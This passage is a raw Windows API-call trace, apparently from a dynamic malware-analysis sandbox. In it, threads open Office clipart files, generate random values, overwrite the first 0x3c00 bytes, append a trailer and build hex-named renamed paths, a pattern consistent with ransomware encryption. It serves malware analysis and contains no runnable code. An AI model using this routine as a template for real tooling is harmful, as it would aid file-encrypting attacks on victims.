lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c84 [0149.290] GetFileSizeEx (in: hFile=0x1c84, lpFileSize=0x2343f940 | out: lpFileSize=0x2343f940*=42992) returned 1 [0149.290] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0xa7ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.290] ReadFile (in: hFile=0x1c84, lpBuffer=0x2343f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2343f908, lpOverlapped=0x0 | out: lpBuffer=0x2343f8c0*, lpNumberOfBytesRead=0x2343f908*=0x4, lpOverlapped=0x0) returned 1 [0149.294] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab160 [0149.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7f0 [0149.295] NtQuerySystemTime (in: CurrentTime=0x2343f800 | out: CurrentTime=0x2343f800*=132462177545098000) returned 0x0 [0149.296] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x27761434 [0149.296] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x2511a961 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x76d45a21 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x828f5db [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x495806d1 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x28667993 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x31e1bc19 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x1a7741e8 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x66e8e9b1 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x1f0b2e61 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x350f6fb1 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x1afc69ed [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x16f7b1f8 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x57ad2916 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x2b182461 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x784d70eb [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x767ea8a1 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x53d72d3c [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x1a6575bd [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0xa77907d [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x22c521c6 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x12ca48a1 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x45bae472 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x28cb7368 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x187345ca [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x239d5d70 [0149.297] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x58b2817b [0149.298] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x12762fbf [0149.298] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x4f5ec8be [0149.298] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x24ed714c [0149.298] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x6a5a631d [0149.298] RtlRandomEx (in: Seed=0x2343f7f0 | out: Seed=0x2343f7f0) returned 0x7e20c5fa [0149.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ac030 [0149.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0149.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab940 [0149.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0149.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab7f0) returned 1 [0149.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e3d170 [0149.308] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.308] ReadFile (in: hFile=0x1c84, lpBuffer=0x41e3d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2343f860, lpOverlapped=0x0 | out: lpBuffer=0x41e3d170*, lpNumberOfBytesRead=0x2343f860*=0x3c00, lpOverlapped=0x0) returned 1 [0149.321] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0149.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0149.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2018c1b0 [0149.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abe50 [0149.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abe50) returned 1 [0149.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0149.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0149.323] WriteFile (in: hFile=0x1c84, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2343f860, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2343f860*=0x3c00, lpOverlapped=0x0) returned 1 [0161.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0161.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e3d170) returned 1 [0161.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4d30 [0161.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0161.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0161.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4d60 [0161.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4d60) returned 1 [0161.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4d60 [0161.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4d90 [0161.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4dc0 [0161.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4dc0) returned 1 [0161.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0161.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0161.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab3d0 [0161.668] SetFilePointerEx (in: hFile=0x1c84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.668] WriteFile (in: hFile=0x1c84, lpBuffer=0x423ab3d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2343f910, lpOverlapped=0x0 | out: lpBuffer=0x423ab3d0*, lpNumberOfBytesWritten=0x2343f910*=0x10a, lpOverlapped=0x0) returned 1 [0163.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac14c0 [0163.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac14c0) returned 1 [0163.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac14c0 [0163.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1490 [0163.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1490) returned 1 [0163.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.446] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="53") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="75") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="7f") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="71") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="30") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="ca") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="cb") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="29") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="03") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="d7") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="bb") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="09") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="37") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="be") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="c0") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="a3") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="de") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.446] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="84") returned 2 [0163.447] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="76") returned 2 [0163.447] RtlInitAnsiString (in: DestinationString=0x2343f988, SourceString="538d752a7f7130cacb2903d7bb0937bec02ecfa3deed8476" | out: DestinationString="538d752a7f7130cacb2903d7bb0937bec02ecfa3deed8476") [0163.447] RtlAnsiStringToUnicodeString (in: DestinationString=0x2343f958, SourceString="538d752a7f7130cacb2903d7bb0937bec02ecfa3deed8476", AllocateDestinationString=1 | out: DestinationString="538d752a7f7130cacb2903d7bb0937bec02ecfa3deed8476") returned 0x0 [0163.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857640 [0163.447] RtlFreeAnsiString (AnsiString="5") [0163.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac14c0) returned 1 [0163.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab3d0) returned 1 [0163.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4d60) returned 1 [0163.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4d90) returned 1 [0163.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4d30) returned 1 [0163.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0163.449] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab160) returned 1 [0163.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac030) returned 1 [0163.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab940) returned 1 [0163.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5e30 [0163.450] wcscat (in: _Dest=0x1cdb5e30, _Source="538d752a7f71" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\538d752a7f71") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\538d752a7f71" [0163.450] wcscat (in: _Dest=0x1cdb5e30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\538d752a7f71.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\538d752a7f71.2f9b60" [0163.450] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\538d752a7f71.2f9b60", NtPathName=0x2343f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\538d752a7f71.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23460 Thread: id = 2324 os_tid = 0x1cb4 [0149.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0149.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF", dwFileAttributes=0x20) returned 1 [0149.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cc8 [0149.293] GetFileSizeEx (in: hFile=0x1cc8, lpFileSize=0x2358f680 | out: lpFileSize=0x2358f680*=42908) returned 1 [0149.293] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0xa798, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.293] ReadFile (in: hFile=0x1cc8, lpBuffer=0x2358f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2358f648, lpOverlapped=0x0 | out: lpBuffer=0x2358f600*, lpNumberOfBytesRead=0x2358f648*=0x4, lpOverlapped=0x0) returned 1 [0149.309] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0149.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7f0 [0149.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abe50 [0149.310] NtQuerySystemTime (in: CurrentTime=0x2358f540 | out: CurrentTime=0x2358f540*=132462177545254000) returned 0x0 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x68690772 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x439f9143 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x7a50e186 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x6e5a3c3e [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x317e967d [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x8533ff8 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x21e2752 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0xf555bb2 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x2e1b61e1 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x772a0ba1 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x777fbd21 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x4180b804 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x47baa657 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x6fb920eb [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x1722355d [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x623f848f [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x39171b0d [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x4e60c452 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x5893e2da [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x7653cfe1 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x48fbccd7 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x5bbc438e [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0xa0a51b7 [0149.310] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x95cf9f1 [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x3f221f49 [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x217a95a3 [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x25617a49 [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x2d92c96f [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x43d05cf7 [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x52543be5 [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0x24f58dcb [0149.311] RtlRandomEx (in: Seed=0x2358f530 | out: Seed=0x2358f530) returned 0xd3696fc [0149.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa0b0 [0149.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0149.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab790 [0149.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0149.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abe50) returned 1 [0149.319] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abc70) returned 1 [0149.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2016e130 [0149.320] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.320] ReadFile (in: hFile=0x1cc8, lpBuffer=0x2016e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2358f5a0, lpOverlapped=0x0 | out: lpBuffer=0x2016e130*, lpNumberOfBytesRead=0x2358f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0149.323] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0149.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868cc0 [0149.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abe50 [0149.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abe50) returned 1 [0149.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dfd170 [0149.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abe50 [0149.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0149.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0149.325] WriteFile (in: hFile=0x1cc8, lpBuffer=0x41dfd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2358f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41dfd170*, lpNumberOfBytesWritten=0x2358f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dfd170) returned 1 [0161.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016e130) returned 1 [0161.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4dc0 [0161.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0161.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0161.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4df0 [0161.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4df0) returned 1 [0161.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4df0 [0161.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4e20 [0161.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4e50 [0161.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4e50) returned 1 [0161.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0161.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0161.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab4f0 [0161.674] SetFilePointerEx (in: hFile=0x1cc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.674] WriteFile (in: hFile=0x1cc8, lpBuffer=0x423ab4f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2358f650, lpOverlapped=0x0 | out: lpBuffer=0x423ab4f0*, lpNumberOfBytesWritten=0x2358f650*=0x10a, lpOverlapped=0x0) returned 1 [0163.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac15e0 [0163.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac15e0) returned 1 [0163.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac15e0 [0163.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac15b0 [0163.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac15b0) returned 1 [0163.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.467] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="05") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="26") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="aa") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="3c") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="01") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="67") returned 2 [0163.467] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="eb") 